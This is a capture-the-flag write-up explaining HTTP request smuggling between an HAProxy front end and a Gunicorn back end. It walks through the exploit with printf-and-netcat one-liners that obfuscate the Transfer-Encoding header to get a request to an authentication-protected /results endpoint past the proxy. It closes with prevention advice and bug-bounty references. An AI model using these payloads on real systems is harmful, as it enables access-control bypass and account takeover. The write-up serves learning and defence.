Misc CTF - Request Smuggling
During a CTF I recently came across a very cool challenge on Request Smuggling. I have been wanting to try my theoretical knowledge of this topic on a “real-life” scenario and this was the perfect occasion. It allowed me to get a deeper understand of what’s going on behind the hood when a request smuggling happens.
Since request smuggling is not a so “straightforward” vulnerability to understand at first, I will try to details as much as possible this post to help you get a clear picture of this cool vulnerability.
Tl;Dr: In this challenge you have to exploit Request Smuggling in order to access a authentication protected endpoint and get the flag.
While not being in the OWASP Top 10, Request Smuggling is a very interesting vulnerability worth knowing about.
Alright! Let’s get into the details now!
About Request Smuggling
Before we start let’s see a bit of history Request Smuggling. It was first presented in 2005 by Watchfire: HTTP Request Smuggling and got recently repopularized by PortSwigger’s research.
It’s commonly defined this way:
- HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users. Request smuggling vulnerabilities are often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.
The recent trend to complexifie infrastructure made this vulnerability more common and easier to exploit.
Let’s now see in practice how it can arise.
Recon
Opening the challenge display the following page:
We have a simple “Bingo” game, not much more going on there. The results page prompt us a Basic Auth
so we can’t access it:
Let’s gather as much informations as we can to better understand how the back-end of this app can be working.
First we notice the web server is running gunicorn
:
1 | [hg8@archbook ~]$ curl http://misc.ctf:33433/ -I |
As a reminder:
Gunicorn ‘Green Unicorn’ is a Python WSGI HTTP Server for UNIX. It’s a pre-fork worker model. The Gunicorn server is broadly compatible with various web frameworks, simply implemented, light on server resources, and fairly speedy.https://gunicorn.org/
Yet we also noticed, when trying to access /results
endpoint, a “HAProxy Authentication”.
HAProxy is free, open source software that provides a high availability load balancer and proxy server for TCP and HTTP-based applications that spreads requests across multiple servers.
Alright, with those informations we can get a better understanding on how the back-end of the app looks like. We probably have something like this:
1 |
|
At least more or less…
Exploitation
Alright so now that we have a better understanding of the back-end we can start to see a way this could be exploited.
The endpoint /results
we are trying to read is authentication protected by HAProxy, meaning the application itself probably don’t protect it.
So if we could find a way to make a direct request to the web server bypassing HAProxy we should be able to access /results
without any authentication needed.
First thing that come to mind is exploiting vulnerability like Server-side request forgery. Unfortunately the app doesn’t allow to exploit such vulnerability…
Let’s continue to search.
Another possibility would be request smuggling.
The idea of Request Smuggling is to leverage the fact that HAProxy and Gunicorn might handle HTTP request differently to craft a request to /results
that won’t be interpreted by the front-end server (HAProxy) which will sent it directly to the back-end. In the meantime the back-end server (Gunicorn) will interpret the request correctly, connect to /results
endpoint and return the response normally.
Let’s see in practice how it work.
HAProxy request handling.
Making the following request to front-end HAProxy server:
1 | POST / |
Will be forwarded to the back-end as such:
1 | POST / |
We can see that the last X
got dropped and Content-length
got ignored. This is the intended behavior according to RFC 7230 Message Body Length:
If a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length. Such a message might indicate an attempt to perform request smuggling (Section 9.5) or response splitting (Section 9.4) and ought to be handled as an error. A sender MUST remove the received Content-Length field prior to forwarding such a message downstream.
However when sending \x0b
(vertical tab) before the “chunked” string HAProxy handle the request differently:
1 | POST / |
Gets forwarded to the back-end server as:
1 | POST / |
HAProxy processed the Content-Length
header and determined that the request body is 6 bytes long, up to the end of X
. This request is forwarded on to the back-end server.
However gunicorn
will, according to the RFC, proceed Transfer-Encoding
header and will handle the message body as using chunked encoding.
It will proceed the first chunk which is stated to be zero length, and so is treated as terminating the request. Yet the following bytes SMUGGLED
are still here, being left unprocessed and the gunicorn back-end server will treat these as being the start of the next request in the sequence.
Smuggling request
Let’s see if we can confirm that it’s possible to make request smuggling on our Bullshit Bingo using the following request:
1 | POST / |
Because it uses the Content-Length when we have [\x0b]
character in the Transfer-Encoding
header, HAProxy will forward the following to the gunicorn
backend:
1 | POST / |
If the gunicorn
parses this request using Transfer-Encoding
, then it will timeout waiting for 0\r\n\r\n
chunk that would usually terminate the request. Let’s give a try:
1 | [hg8@archbook ~]$ printf "POST / HTTP/1.1\r\nHost: misc.ctf:33433\r\nContent-Length: 4\r\nTransfer-Encoding:^Lchunked\r\n\r\n1\r\nZ\r\nQ" | nc misc.ctf:33433 |
Bingo, we got a 408 Request Time-out
. Also did you notice ? We got two response to, seemingly, one HTTP request. This confirm we can smuggle request.
But what now ? What can we do with that ?
First let’s try to see if it’s possible to smuggle a second HTTP request in the main one.
Let’s try for example to access a 404 page and see if the response match:
1 | POST / |
Before trying, let’s details what should happen in this request?
Because of the Content-Lengh
of 38, the HAProxy will transfer 2 different requests to the backend:
1st request:
1 | POST / |
2nd request:
1 | GET / |
Yet when gunicorn
will receive the first request it will proceed the Transfer-Encoding
header, processing the first part:
1 | POST / |
Until it arrives to the chunk which is stated to be zero length, and so treated as terminating the request. But! The following bytes are still there being left unprocessed:
1 | GET /404 |
So when gunicorn
received the 2nd request:
1 | GET / |
It will actually just get appended to the bytes which remained unprocessed before, resulting in the following request:
1 | GET /404 |
Which gunicorn
will simply proceed as a valid request.
Alright, let’s see in practice if we can make it work!
1 | [hg8@archbook ~]$ printf "POST / HTTP/1.1\r\nHost: misc.ctf:33433\r\nContent-Length: 38\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding:^Lchunked\r\n\r\n1\r\nA\r\n0\r\n\r\nGET /404 HTTP/1.1\r\nfoo: xGET / HTTP/1.1\r\n\r\n" | nc misc.ctf:33433 |
Perfect! It worked.
What’s the next step ? Smuggling a request to /results
endpoint. Since HAProxy
won’t see the request it won’t prompt authentication. Yet gunicorn
will proceed our request without issues.
We can do something like so:
1 | POST / |
Let’s give it a try:
1 | [hg8@archbook ~]$ printf "POST / HTTP/1.1\r\nHost: misc.ctf:33433\r\nContent-Length: 39\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding:^Lchunked\r\n\r\n1\r\nA\r\n0\r\n\r\nGET /results HTTP/1.1\r\nFoo: xGET / HTTP/1.1\r\n\r\n" | nc misc.ctf:33433 |
References
- HTTP request smuggling | Port Swigger Web Security
- Finding HTTP request smuggling vulnerabilities | Port Swigger Web Security
- Exploiting HTTP request smuggling vulnerabilities | Port Swigger Web Security
- Understanding HTTP Smuggling in one article | zeddyu.info
- Protocol Layer Attack - HTTP Request Smuggling | Knownsec 404 Team
- HTTP Smuggling, Apache Traffic Server | Regilero’s blog
- HAProxy HTTP request smuggling | nathandavison.com
- Fix Transfer-Encoding Handling | Gunicorn Issue
Prevention Methods
- Disable reuse of back-end connections, so that each back-end request is sent over a separate network connection.
- Use HTTP/2 for back-end connections, as this protocol prevents ambiguity about the boundaries between requests.
- Use exactly the same web server software for the front-end and back-end servers, so that they agree about the boundaries between requests.
Real Life Example
- Request smuggling on admin-official.line.me could lead to account takeover ($9,000) | HackerOne
- Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies ($6,500) | HackerOne
- Password theft login.newrelic.com via Request Smuggling ($3,000) | HackerOne
- HTTP Request Smuggling on https://labs.data.gov | HackerOne
- Account takeover vulnerability using HTTP Request Smuggling and Desync attacks ($5,000) | HackerOne
That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!
See you next time ;)
-hg8